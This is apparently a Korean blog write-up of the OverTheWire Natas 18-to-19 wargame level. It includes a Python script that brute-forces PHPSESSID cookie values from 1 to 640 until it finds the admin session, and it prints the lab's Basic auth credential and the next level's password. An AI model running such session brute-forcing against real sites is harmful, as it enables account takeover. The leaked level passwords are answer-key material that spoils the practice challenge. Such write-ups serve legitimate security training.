[Natas]Natas18 - Natas19

   Natas18 - Natas19

Natas Web Wargames

Overthewire 사이트 : http://overthewire.org/wargames/natas/

[힌트]

1. 페이지 소스보기

2. 세션값 확인

소스코드를 분석해보면 username과 password를 전송하면 세션값이 생성이 되는데, 이 값이 admin 값과 같은 경우에 Natas19의 비밀번호를 알아 낼 수 있다.

1 부터 640까지 maxid값을 rand값으로 세션값이 저장되는데, 소스코드에는 안적혀있지만, 아마 admin으로 되어있는 id값은 따로 저장되어있다는 것을 짐작할 수 있다. 자동화로 하나씩 돌려보게 되면 maxid값이 138이 나왔음을 알 수 있다. 자동화 프로그램을 만들때 응답값을 받아오게 해놓아서, 응답값안에 Natas19의 비밀번호가 존재한다. 아니면 쿠키값인 138을 변조해서 보내면 똑같이 화면에 19의 비밀번호를 출력시켜준다.

[Natas18 - Natas19 자동화프로그램] - Python3

import socket
 
for i in range(1,641):
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect(("176.9.9.172",80))
 
    header = "GET /index.php "
    header += "HTTP/1.1\r\n"
    header += "Authorization:Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==\r\n"
    header += "Host:natas18.natas.labs.overthewire.org\r\n"
    header += "Cookie:PHPSESSID="+str(i)+"\r\n"
    header += "\r\n"
 
    response = " "
    sock.send(header.encode())
    response = sock.recv(65535)
    response = response.decode()
    print(i)
    if "You are an admin" in response:
        print(response)
        sock.close()
        break;
    sock.close()
print()
# 결과값 : 138
  Natas19 : 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs